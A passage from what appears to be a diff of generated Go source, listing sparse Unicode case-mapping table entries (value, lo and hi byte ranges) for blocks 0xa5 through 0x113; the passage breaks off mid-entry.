Block 0xa5, offset 0x3d8 + {value: 0x0010, lo: 0x80, hi: 0x8a}, + {value: 0x0010, lo: 0x90, hi: 0xb5}, + {value: 0x0024, lo: 0xb6, hi: 0xba}, + // Block 0xa6, offset 0x3db + {value: 0x0010, lo: 0x80, hi: 0x9d}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0xa7, offset 0x3dd + {value: 0x0010, lo: 0x80, hi: 0x83}, + {value: 0x0010, lo: 0x88, hi: 0x8f}, + {value: 0x0010, lo: 0x91, hi: 0x95}, + // Block 0xa8, offset 0x3e0 + {value: 0x2813, lo: 0x80, hi: 0x87}, + {value: 0x3813, lo: 0x88, hi: 0x8f}, + {value: 0x2813, lo: 0x90, hi: 0x97}, + {value: 0xb653, lo: 0x98, hi: 0x9f}, + {value: 0xb953, lo: 0xa0, hi: 0xa7}, + {value: 0x2812, lo: 0xa8, hi: 0xaf}, + {value: 0x3812, lo: 0xb0, hi: 0xb7}, + {value: 0x2812, lo: 0xb8, hi: 0xbf}, + // Block 0xa9, offset 0x3e8 + {value: 0xb652, lo: 0x80, hi: 0x87}, + {value: 0xb952, lo: 0x88, hi: 0x8f}, + {value: 0x0010, lo: 0x90, hi: 0xbf}, + // Block 0xaa, offset 0x3eb + {value: 0x0010, lo: 0x80, hi: 0x9d}, + {value: 0x0010, lo: 0xa0, hi: 0xa9}, + {value: 0xb953, lo: 0xb0, hi: 0xb7}, + {value: 0xb653, lo: 0xb8, hi: 0xbf}, + // Block 0xab, offset 0x3ef + {value: 0x2813, lo: 0x80, hi: 0x87}, + {value: 0x3813, lo: 0x88, hi: 0x8f}, + {value: 0x2813, lo: 0x90, hi: 0x93}, + {value: 0xb952, lo: 0x98, hi: 0x9f}, + {value: 0xb652, lo: 0xa0, hi: 0xa7}, + {value: 0x2812, lo: 0xa8, hi: 0xaf}, + {value: 0x3812, lo: 0xb0, hi: 0xb7}, + {value: 0x2812, lo: 0xb8, hi: 0xbb}, + // Block 0xac, offset 0x3f7 + {value: 0x0010, lo: 0x80, hi: 0xa7}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0xad, offset 0x3f9 + {value: 0x0010, lo: 0x80, hi: 0xa3}, + {value: 0xbc53, lo: 0xb0, hi: 0xb0}, + {value: 0xbf53, lo: 0xb1, hi: 0xb1}, + {value: 0xc253, lo: 0xb2, hi: 0xb2}, + {value: 0xbf53, lo: 0xb3, hi: 0xb3}, + {value: 0xc553, lo: 0xb4, hi: 0xb4}, + {value: 0xbf53, lo: 0xb5, hi: 0xb5}, + {value: 0xc253, lo: 0xb6, hi: 0xb6}, + {value: 0xbf53, lo: 0xb7, hi: 0xb7}, + {value: 0xbc53, lo: 0xb8, hi: 0xb8}, + {value: 0xc853, lo: 0xb9, hi: 0xb9}, + {value: 0xcb53, lo: 0xba, hi: 0xba}, + {value: 0xce53, lo: 0xbc, hi: 0xbc}, + {value: 0xc853, lo: 0xbd, hi: 0xbd}, + {value: 0xcb53, lo: 0xbe, hi: 0xbe}, + {value: 0xc853, lo: 0xbf, hi: 0xbf}, + // Block 0xae, offset 0x409 + {value: 0x0010, lo: 0x80, hi: 0xb6}, + // Block 0xaf, offset 0x40a + {value: 0x0010, lo: 0x80, hi: 0x95}, + {value: 0x0010, lo: 0xa0, hi: 0xa7}, + // Block 0xb0, offset 0x40c + {value: 0x0015, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x82}, + {value: 0x0015, lo: 0x83, hi: 0x85}, + {value: 0x0015, lo: 0x87, hi: 0xb0}, + {value: 0x0015, lo: 0xb2, hi: 0xba}, + // Block 0xb1, offset 0x411 + {value: 0x0010, lo: 0x80, hi: 0x85}, + {value: 0x0010, lo: 0x88, hi: 0x88}, + {value: 0x0010, lo: 0x8a, hi: 0xb5}, + {value: 0x0010, lo: 0xb7, hi: 0xb8}, + {value: 0x0010, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0xb2, offset 0x417 + {value: 0x0010, lo: 0x80, hi: 0x95}, + {value: 0x0010, lo: 0xa0, hi: 0xb6}, + // Block 0xb3, offset 0x419 + {value: 0x0010, lo: 0x80, hi: 0x9e}, + // Block 0xb4, offset 0x41a + {value: 0x0010, lo: 0xa0, hi: 0xb2}, + {value: 0x0010, lo: 0xb4, hi: 0xb5}, + // Block 0xb5, offset 0x41c + {value: 0x0010, lo: 0x80, hi: 0x95}, + {value: 0x0010, lo: 0xa0, hi: 0xb9}, + // Block 0xb6, offset 0x41e + {value: 0x0010, lo: 0x80, hi: 0xb7}, + {value: 0x0010, lo: 0xbe, hi: 0xbf}, + // Block 0xb7, offset 0x420 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x83}, + {value: 0x0014, lo: 0x85, hi: 0x86}, + {value: 0x0014, lo: 0x8c, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0014, lo: 0x8e, hi: 0x8e}, + {value: 0x0024, lo: 0x8f, hi: 0x8f}, + {value: 0x0010, lo: 0x90, hi: 0x93}, + {value: 0x0010, lo: 0x95, hi: 0x97}, + {value: 0x0010, lo: 0x99, hi: 0xb5}, + {value: 0x0024, lo: 0xb8, hi: 0xb8}, + {value: 0x0034, lo: 0xb9, hi: 0xba}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0xb8, offset 0x42d + {value: 0x0010, lo: 0xa0, hi: 0xbc}, + // Block 0xb9, offset 0x42e + {value: 0x0010, lo: 0x80, hi: 0x9c}, + // Block 0xba, offset 0x42f + {value: 0x0010, lo: 0x80, hi: 0x87}, + {value: 0x0010, lo: 0x89, hi: 0xa4}, + {value: 0x0024, lo: 0xa5, hi: 0xa5}, + {value: 0x0034, lo: 0xa6, hi: 0xa6}, + // Block 0xbb, offset 0x433 + {value: 0x0010, lo: 0x80, hi: 0x95}, + {value: 0x0010, lo: 0xa0, hi: 0xb2}, + // Block 0xbc, offset 0x435 + {value: 0x0010, lo: 0x80, hi: 0x91}, + // Block 0xbd, offset 0x436 + {value: 0x0010, lo: 0x80, hi: 0x88}, + // Block 0xbe, offset 0x437 + {value: 0x5653, lo: 0x80, hi: 0xb2}, + // Block 0xbf, offset 0x438 + {value: 0x5652, lo: 0x80, hi: 0xb2}, + // Block 0xc0, offset 0x439 + {value: 0x0010, lo: 0x80, hi: 0xa3}, + {value: 0x0024, lo: 0xa4, hi: 0xa7}, + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0xc1, offset 0x43c + {value: 0x0010, lo: 0x80, hi: 0xa9}, + {value: 0x0024, lo: 0xab, hi: 0xac}, + {value: 0x0010, lo: 0xb0, hi: 0xb1}, + // Block 0xc2, offset 0x43f + {value: 0x0034, lo: 0xbd, hi: 0xbf}, + // Block 0xc3, offset 0x440 + {value: 0x0010, lo: 0x80, hi: 0x9c}, + {value: 0x0010, lo: 0xa7, hi: 0xa7}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0xc4, offset 0x443 + {value: 0x0010, lo: 0x80, hi: 0x85}, + {value: 0x0034, lo: 0x86, hi: 0x87}, + {value: 0x0024, lo: 0x88, hi: 0x8a}, + {value: 0x0034, lo: 0x8b, hi: 0x8b}, + {value: 0x0024, lo: 0x8c, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x90}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0xc5, offset 0x44a + {value: 0x0010, lo: 0x80, hi: 0x81}, + {value: 0x0024, lo: 0x82, hi: 0x82}, + {value: 0x0034, lo: 0x83, hi: 0x83}, + {value: 0x0024, lo: 0x84, hi: 0x84}, + {value: 0x0034, lo: 0x85, hi: 0x85}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0xc6, offset 0x450 + {value: 0x0010, lo: 0x80, hi: 0x84}, + {value: 0x0010, lo: 0xa0, hi: 0xb6}, + // Block 0xc7, offset 0x452 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0xb7}, + {value: 0x0014, lo: 0xb8, hi: 0xbf}, + // Block 0xc8, offset 0x456 + {value: 0x0014, lo: 0x80, hi: 0x85}, + {value: 0x0034, lo: 0x86, hi: 0x86}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + {value: 0x0034, lo: 0xb0, hi: 0xb0}, + {value: 0x0010, lo: 0xb1, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xb4}, + {value: 0x0010, lo: 0xb5, hi: 0xb5}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0xc9, offset 0x45e + {value: 0x0014, lo: 0x80, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xb6}, + {value: 0x0010, lo: 0xb7, hi: 0xb8}, + {value: 0x0034, lo: 0xb9, hi: 0xba}, + {value: 0x0014, lo: 0xbd, hi: 0xbd}, + // Block 0xca, offset 0x464 + {value: 0x0014, lo: 0x82, hi: 0x82}, + {value: 0x0014, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x90, hi: 0xa8}, + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0xcb, offset 0x468 + {value: 0x0024, lo: 0x80, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0xa6}, + {value: 0x0014, lo: 0xa7, hi: 0xab}, + {value: 0x0010, lo: 0xac, hi: 0xac}, + {value: 0x0014, lo: 0xad, hi: 0xb2}, + {value: 0x0034, lo: 0xb3, hi: 0xb4}, + {value: 0x0010, lo: 0xb6, hi: 0xbf}, + // Block 0xcc, offset 0x46f + {value: 0x0010, lo: 0x84, hi: 0x87}, + {value: 0x0010, lo: 0x90, hi: 0xb2}, + {value: 0x0034, lo: 0xb3, hi: 0xb3}, + {value: 0x0010, lo: 0xb6, hi: 0xb6}, + // Block 0xcd, offset 0x473 + {value: 0x0014, lo: 0x80, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0xb5}, + {value: 0x0014, lo: 0xb6, hi: 0xbe}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0xce, offset 0x477 + {value: 0x0030, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x81, hi: 0x84}, + {value: 0x0014, lo: 0x89, hi: 0x89}, + {value: 0x0034, lo: 0x8a, hi: 0x8a}, + {value: 0x0014, lo: 0x8b, hi: 0x8c}, + {value: 0x0010, lo: 0x8e, hi: 0x8e}, + {value: 0x0014, lo: 0x8f, hi: 0x8f}, + {value: 0x0010, lo: 0x90, hi: 0x9a}, + {value: 0x0010, lo: 0x9c, hi: 0x9c}, + // Block 0xcf, offset 0x480 + {value: 0x0010, lo: 0x80, hi: 0x91}, + {value: 0x0010, lo: 0x93, hi: 0xae}, + {value: 0x0014, lo: 0xaf, hi: 0xb1}, + {value: 0x0010, lo: 0xb2, hi: 0xb3}, + {value: 0x0014, lo: 0xb4, hi: 0xb4}, + {value: 0x0030, lo: 0xb5, hi: 0xb5}, + {value: 0x0034, lo: 0xb6, hi: 0xb6}, + {value: 0x0014, lo: 0xb7, hi: 0xb7}, + {value: 0x0014, lo: 0xbe, hi: 0xbe}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0xd0, offset 0x48a + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x81}, + // Block 0xd1, offset 0x48c + {value: 0x0010, lo: 0x80, hi: 0x86}, + {value: 0x0010, lo: 0x88, hi: 0x88}, + {value: 0x0010, lo: 0x8a, hi: 0x8d}, + {value: 0x0010, lo: 0x8f, hi: 0x9d}, + {value: 0x0010, lo: 0x9f, hi: 0xa8}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0xd2, offset 0x492 + {value: 0x0010, lo: 0x80, hi: 0x9e}, + {value: 0x0014, lo: 0x9f, hi: 0x9f}, + {value: 0x0010, lo: 0xa0, hi: 0xa2}, + {value: 0x0014, lo: 0xa3, hi: 0xa8}, + {value: 0x0034, lo: 0xa9, hi: 0xaa}, + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0xd3, offset 0x498 + {value: 0x0014, lo: 0x80, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x8c}, + {value: 0x0010, lo: 0x8f, hi: 0x90}, + {value: 0x0010, lo: 0x93, hi: 0xa8}, + {value: 0x0010, lo: 0xaa, hi: 0xb0}, + {value: 0x0010, lo: 0xb2, hi: 0xb3}, + {value: 0x0010, lo: 0xb5, hi: 0xb9}, + {value: 0x0034, lo: 0xbb, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbf}, + // Block 0xd4, offset 0x4a2 + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x81, hi: 0x84}, + {value: 0x0010, lo: 0x87, hi: 0x88}, + {value: 0x0010, lo: 0x8b, hi: 0x8c}, + {value: 0x0030, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x90, hi: 0x90}, + {value: 0x0010, lo: 0x97, hi: 0x97}, + {value: 0x0010, lo: 0x9d, hi: 0xa3}, + {value: 0x0024, lo: 0xa6, hi: 0xac}, + {value: 0x0024, lo: 0xb0, hi: 0xb4}, + // Block 0xd5, offset 0x4ac + {value: 0x0010, lo: 0x80, hi: 0xb7}, + {value: 0x0014, lo: 0xb8, hi: 0xbf}, + // Block 0xd6, offset 0x4ae + {value: 0x0010, lo: 0x80, hi: 0x81}, + {value: 0x0034, lo: 0x82, hi: 0x82}, + {value: 0x0014, lo: 0x83, hi: 0x84}, + {value: 0x0010, lo: 0x85, hi: 0x85}, + {value: 0x0034, lo: 0x86, hi: 0x86}, + {value: 0x0010, lo: 0x87, hi: 0x8a}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0024, lo: 0x9e, hi: 0x9e}, + {value: 0x0010, lo: 0x9f, hi: 0xa1}, + // Block 0xd7, offset 0x4b7 + {value: 0x0010, lo: 0x80, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xb8}, + {value: 0x0010, lo: 0xb9, hi: 0xb9}, + {value: 0x0014, lo: 0xba, hi: 0xba}, + {value: 0x0010, lo: 0xbb, hi: 0xbe}, + {value: 0x0014, lo: 0xbf, hi: 0xbf}, + // Block 0xd8, offset 0x4bd + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x81, hi: 0x81}, + {value: 0x0034, lo: 0x82, hi: 0x83}, + {value: 0x0010, lo: 0x84, hi: 0x85}, + {value: 0x0010, lo: 0x87, hi: 0x87}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + // Block 0xd9, offset 0x4c3 + {value: 0x0010, lo: 0x80, hi: 0xb1}, + {value: 0x0014, lo: 0xb2, hi: 0xb5}, + {value: 0x0010, lo: 0xb8, hi: 0xbb}, + {value: 0x0014, lo: 0xbc, hi: 0xbd}, + {value: 0x0010, lo: 0xbe, hi: 0xbe}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0xda, offset 0x4c9 + {value: 0x0034, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x98, hi: 0x9b}, + {value: 0x0014, lo: 0x9c, hi: 0x9d}, + // Block 0xdb, offset 0x4cc + {value: 0x0010, lo: 0x80, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xba}, + {value: 0x0010, lo: 0xbb, hi: 0xbc}, + {value: 0x0014, lo: 0xbd, hi: 0xbd}, + {value: 0x0010, lo: 0xbe, hi: 0xbe}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0xdc, offset 0x4d2 + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x84, hi: 0x84}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + // Block 0xdd, offset 0x4d5 + {value: 0x0010, lo: 0x80, hi: 0xaa}, + {value: 0x0014, lo: 0xab, hi: 0xab}, + {value: 0x0010, lo: 0xac, hi: 0xac}, + {value: 0x0014, lo: 0xad, hi: 0xad}, + {value: 0x0010, lo: 0xae, hi: 0xaf}, + {value: 0x0014, lo: 0xb0, hi: 0xb5}, + {value: 0x0030, lo: 0xb6, hi: 0xb6}, + {value: 0x0034, lo: 0xb7, hi: 0xb7}, + {value: 0x0010, lo: 0xb8, hi: 0xb8}, + // Block 0xde, offset 0x4de + {value: 0x0010, lo: 0x80, hi: 0x89}, + // Block 0xdf, offset 0x4df + {value: 0x0014, lo: 0x9d, hi: 0x9f}, + {value: 0x0010, lo: 0xa0, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa5}, + {value: 0x0010, lo: 0xa6, hi: 0xa6}, + {value: 0x0014, lo: 0xa7, hi: 0xaa}, + {value: 0x0034, lo: 0xab, hi: 0xab}, + {value: 0x0010, lo: 0xb0, hi: 0xb9}, + // Block 0xe0, offset 0x4e6 + {value: 0x0010, lo: 0x80, hi: 0xae}, + {value: 0x0014, lo: 0xaf, hi: 0xb7}, + {value: 0x0010, lo: 0xb8, hi: 0xb8}, + {value: 0x0034, lo: 0xb9, hi: 0xba}, + // Block 0xe1, offset 0x4ea + {value: 0x5f53, lo: 0xa0, hi: 0xbf}, + // Block 0xe2, offset 0x4eb + {value: 0x5f52, lo: 0x80, hi: 0x9f}, + {value: 0x0010, lo: 0xa0, hi: 0xa9}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0xe3, offset 0x4ee + {value: 0x0010, lo: 0x80, hi: 0x86}, + {value: 0x0010, lo: 0x89, hi: 0x89}, + {value: 0x0010, lo: 0x8c, hi: 0x93}, + {value: 0x0010, lo: 0x95, hi: 0x96}, + {value: 0x0010, lo: 0x98, hi: 0xb5}, + {value: 0x0010, lo: 0xb7, hi: 0xb8}, + {value: 0x0014, lo: 0xbb, hi: 0xbc}, + {value: 0x0030, lo: 0xbd, hi: 0xbd}, + {value: 0x0034, lo: 0xbe, hi: 0xbe}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0xe4, offset 0x4f8 + {value: 0x0010, lo: 0x80, hi: 0x82}, + {value: 0x0034, lo: 0x83, hi: 0x83}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + // Block 0xe5, offset 0x4fb + {value: 0x0010, lo: 0xa0, hi: 0xa7}, + {value: 0x0010, lo: 0xaa, hi: 0xbf}, + // Block 0xe6, offset 0x4fd + {value: 0x0010, lo: 0x80, hi: 0x93}, + {value: 0x0014, lo: 0x94, hi: 0x97}, + {value: 0x0014, lo: 0x9a, hi: 0x9b}, + {value: 0x0010, lo: 0x9c, hi: 0x9f}, + {value: 0x0034, lo: 0xa0, hi: 0xa0}, + {value: 0x0010, lo: 0xa1, hi: 0xa1}, + {value: 0x0010, lo: 0xa3, hi: 0xa4}, + // Block 0xe7, offset 0x504 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x8a}, + {value: 0x0010, lo: 0x8b, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xb3}, + {value: 0x0034, lo: 0xb4, hi: 0xb4}, + {value: 0x0014, lo: 0xb5, hi: 0xb8}, + {value: 0x0010, lo: 0xb9, hi: 0xba}, + {value: 0x0014, lo: 0xbb, hi: 0xbe}, + // Block 0xe8, offset 0x50c + {value: 0x0034, lo: 0x87, hi: 0x87}, + {value: 0x0010, lo: 0x90, hi: 0x90}, + {value: 0x0014, lo: 0x91, hi: 0x96}, + {value: 0x0010, lo: 0x97, hi: 0x98}, + {value: 0x0014, lo: 0x99, hi: 0x9b}, + {value: 0x0010, lo: 0x9c, hi: 0xbf}, + // Block 0xe9, offset 0x512 + {value: 0x0010, lo: 0x80, hi: 0x89}, + {value: 0x0014, lo: 0x8a, hi: 0x96}, + {value: 0x0010, lo: 0x97, hi: 0x97}, + {value: 0x0014, lo: 0x98, hi: 0x98}, + {value: 0x0034, lo: 0x99, hi: 0x99}, + {value: 0x0010, lo: 0x9d, hi: 0x9d}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0xea, offset 0x519 + {value: 0x0010, lo: 0x80, hi: 0xb8}, + // Block 0xeb, offset 0x51a + {value: 0x0010, lo: 0x80, hi: 0x88}, + {value: 0x0010, lo: 0x8a, hi: 0xaf}, + {value: 0x0014, lo: 0xb0, hi: 0xb6}, + {value: 0x0014, lo: 0xb8, hi: 0xbd}, + {value: 0x0010, lo: 0xbe, hi: 0xbe}, + {value: 0x0034, lo: 0xbf, hi: 0xbf}, + // Block 0xec, offset 0x520 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0010, lo: 0xb2, hi: 0xbf}, + // Block 0xed, offset 0x523 + {value: 0x0010, lo: 0x80, hi: 0x8f}, + {value: 0x0014, lo: 0x92, hi: 0xa7}, + {value: 0x0010, lo: 0xa9, hi: 0xa9}, + {value: 0x0014, lo: 0xaa, hi: 0xb0}, + {value: 0x0010, lo: 0xb1, hi: 0xb1}, + {value: 0x0014, lo: 0xb2, hi: 0xb3}, + {value: 0x0010, lo: 0xb4, hi: 0xb4}, + {value: 0x0014, lo: 0xb5, hi: 0xb6}, + // Block 0xee, offset 0x52b + {value: 0x0010, lo: 0x80, hi: 0x86}, + {value: 0x0010, lo: 0x88, hi: 0x89}, + {value: 0x0010, lo: 0x8b, hi: 0xb0}, + {value: 0x0014, lo: 0xb1, hi: 0xb6}, + {value: 0x0014, lo: 0xba, hi: 0xba}, + {value: 0x0014, lo: 0xbc, hi: 0xbd}, + {value: 0x0014, lo: 0xbf, hi: 0xbf}, + // Block 0xef, offset 0x532 + {value: 0x0014, lo: 0x80, hi: 0x81}, + {value: 0x0034, lo: 0x82, hi: 0x82}, + {value: 0x0014, lo: 0x83, hi: 0x83}, + {value: 0x0034, lo: 0x84, hi: 0x85}, + {value: 0x0010, lo: 0x86, hi: 0x86}, + {value: 0x0014, lo: 0x87, hi: 0x87}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0010, lo: 0xa0, hi: 0xa5}, + {value: 0x0010, lo: 0xa7, hi: 0xa8}, + {value: 0x0010, lo: 0xaa, hi: 0xbf}, + // Block 0xf0, offset 0x53c + {value: 0x0010, lo: 0x80, hi: 0x8e}, + {value: 0x0014, lo: 0x90, hi: 0x91}, + {value: 0x0010, lo: 0x93, hi: 0x94}, + {value: 0x0014, lo: 0x95, hi: 0x95}, + {value: 0x0010, lo: 0x96, hi: 0x96}, + {value: 0x0034, lo: 0x97, hi: 0x97}, + {value: 0x0010, lo: 0x98, hi: 0x98}, + {value: 0x0010, lo: 0xa0, hi: 0xa9}, + // Block 0xf1, offset 0x544 + {value: 0x0010, lo: 0xa0, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xb4}, + {value: 0x0010, lo: 0xb5, hi: 0xb6}, + // Block 0xf2, offset 0x547 + {value: 0x0014, lo: 0x80, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0x90}, + {value: 0x0010, lo: 0x92, hi: 0xb5}, + {value: 0x0014, lo: 0xb6, hi: 0xba}, + {value: 0x0010, lo: 0xbe, hi: 0xbf}, + // Block 0xf3, offset 0x54c + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0030, lo: 0x81, hi: 0x81}, + {value: 0x0034, lo: 0x82, hi: 0x82}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + // Block 0xf4, offset 0x550 + {value: 0x0010, lo: 0xb0, hi: 0xb0}, + // Block 0xf5, offset 0x551 + {value: 0x0010, lo: 0x80, hi: 0x99}, + // Block 0xf6, offset 0x552 + {value: 0x0010, lo: 0x80, hi: 0xae}, + // Block 0xf7, offset 0x553 + {value: 0x0010, lo: 0x80, hi: 0x83}, + // Block 0xf8, offset 0x554 + {value: 0x0010, lo: 0x80, hi: 0xb0}, + // Block 0xf9, offset 0x555 + {value: 0x0010, lo: 0x80, hi: 0xaf}, + {value: 0x0014, lo: 0xb0, hi: 0xbf}, + // Block 0xfa, offset 0x557 + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x81, hi: 0x86}, + {value: 0x0014, lo: 0x87, hi: 0x95}, + // Block 0xfb, offset 0x55a + {value: 0x0010, lo: 0x80, hi: 0x86}, + // Block 0xfc, offset 0x55b + {value: 0x0010, lo: 0x80, hi: 0x9e}, + {value: 0x0010, lo: 0xa0, hi: 0xa9}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0xfd, offset 0x55e + {value: 0x0010, lo: 0x80, hi: 0xbe}, + // Block 0xfe, offset 0x55f + {value: 0x0010, lo: 0x80, hi: 0x89}, + {value: 0x0010, lo: 0x90, hi: 0xad}, + {value: 0x0034, lo: 0xb0, hi: 0xb4}, + // Block 0xff, offset 0x562 + {value: 0x0010, lo: 0x80, hi: 0xaf}, + {value: 0x0024, lo: 0xb0, hi: 0xb6}, + // Block 0x100, offset 0x564 + {value: 0x0014, lo: 0x80, hi: 0x83}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0010, lo: 0xa3, hi: 0xb7}, + {value: 0x0010, lo: 0xbd, hi: 0xbf}, + // Block 0x101, offset 0x568 + {value: 0x0010, lo: 0x80, hi: 0x8f}, + // Block 0x102, offset 0x569 + {value: 0x2013, lo: 0x80, hi: 0x9f}, + {value: 0x2012, lo: 0xa0, hi: 0xbf}, + // Block 0x103, offset 0x56b + {value: 0x0010, lo: 0x80, hi: 0x8a}, + {value: 0x0014, lo: 0x8f, hi: 0x8f}, + {value: 0x0010, lo: 0x90, hi: 0xbf}, + // Block 0x104, offset 0x56e + {value: 0x0010, lo: 0x80, hi: 0x87}, + {value: 0x0014, lo: 0x8f, hi: 0x9f}, + // Block 0x105, offset 0x570 + {value: 0x0014, lo: 0xa0, hi: 0xa1}, + {value: 0x0014, lo: 0xa3, hi: 0xa4}, + {value: 0x0030, lo: 0xb0, hi: 0xb1}, + // Block 0x106, offset 0x573 + {value: 0x0004, lo: 0xb0, hi: 0xb3}, + {value: 0x0004, lo: 0xb5, hi: 0xbb}, + {value: 0x0004, lo: 0xbd, hi: 0xbe}, + // Block 0x107, offset 0x576 + {value: 0x0010, lo: 0x80, hi: 0xaa}, + {value: 0x0010, lo: 0xb0, hi: 0xbc}, + // Block 0x108, offset 0x578 + {value: 0x0010, lo: 0x80, hi: 0x88}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + {value: 0x0014, lo: 0x9d, hi: 0x9d}, + {value: 0x0034, lo: 0x9e, hi: 0x9e}, + {value: 0x0014, lo: 0xa0, hi: 0xa3}, + // Block 0x109, offset 0x57d + {value: 0x0014, lo: 0x80, hi: 0xad}, + {value: 0x0014, lo: 0xb0, hi: 0xbf}, + // Block 0x10a, offset 0x57f + {value: 0x0014, lo: 0x80, hi: 0x86}, + // Block 0x10b, offset 0x580 + {value: 0x0030, lo: 0xa5, hi: 0xa6}, + {value: 0x0034, lo: 0xa7, hi: 0xa9}, + {value: 0x0030, lo: 0xad, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xba}, + {value: 0x0034, lo: 0xbb, hi: 0xbf}, + // Block 0x10c, offset 0x585 + {value: 0x0034, lo: 0x80, hi: 0x82}, + {value: 0x0024, lo: 0x85, hi: 0x89}, + {value: 0x0034, lo: 0x8a, hi: 0x8b}, + {value: 0x0024, lo: 0xaa, hi: 0xad}, + // Block 0x10d, offset 0x589 + {value: 0x0024, lo: 0x82, hi: 0x84}, + // Block 0x10e, offset 0x58a + {value: 0x0013, lo: 0x80, hi: 0x99}, + {value: 0x0012, lo: 0x9a, hi: 0xb3}, + {value: 0x0013, lo: 0xb4, hi: 0xbf}, + // Block 0x10f, offset 0x58d + {value: 0x0013, lo: 0x80, hi: 0x8d}, + {value: 0x0012, lo: 0x8e, hi: 0x94}, + {value: 0x0012, lo: 0x96, hi: 0xa7}, + {value: 0x0013, lo: 0xa8, hi: 0xbf}, + // Block 0x110, offset 0x591 + {value: 0x0013, lo: 0x80, hi: 0x81}, + {value: 0x0012, lo: 0x82, hi: 0x9b}, + {value: 0x0013, lo: 0x9c, hi: 0x9c}, + {value: 0x0013, lo: 0x9e, hi: 0x9f}, + {value: 0x0013, lo: 0xa2, hi: 0xa2}, + {value: 0x0013, lo: 0xa5, hi: 0xa6}, + {value: 0x0013, lo: 0xa9, hi: 0xac}, + {value: 0x0013, lo: 0xae, hi: 0xb5}, + {value: 0x0012, lo: 0xb6, hi: 0xb9}, + {value: 0x0012, lo: 0xbb, hi: 0xbb}, + {value: 0x0012, lo: 0xbd, hi: 0xbf}, + // Block 0x111, offset 0x59c + {value: 0x0012, lo: 0x80, hi: 0x83}, + {value: 0x0012, lo: 0x85, hi: 0x8f}, + {value: 0x0013, lo: 0x90, hi: 0xa9}, + {value: 0x0012, lo: 0xaa, hi: 0xbf}, + // Block 0x112, offset 0x5a0 + {value: 0x0012, lo: 0x80, hi: 0x83}, + {value: 0x0013, lo: 0x84, hi: 0x85}, + {value: 0x0013, lo: 0x87, hi: 0x8a}, + {value: 0x0013, lo: 0x8d, hi: 0x94}, + {value: 0x0013, lo: 0x96, hi: 0x9c}, + {value: 0x0012, lo: 0x9e, hi: 0xb7}, + {value: 0x0013, lo: 0xb8, hi: 0xb9}, + {value: 0x0013, lo: 0xbb, hi: 0xbe}, + // Block 0x113, offset 0x5a8 + {value: 0x0013, lo: 0x80, hi: 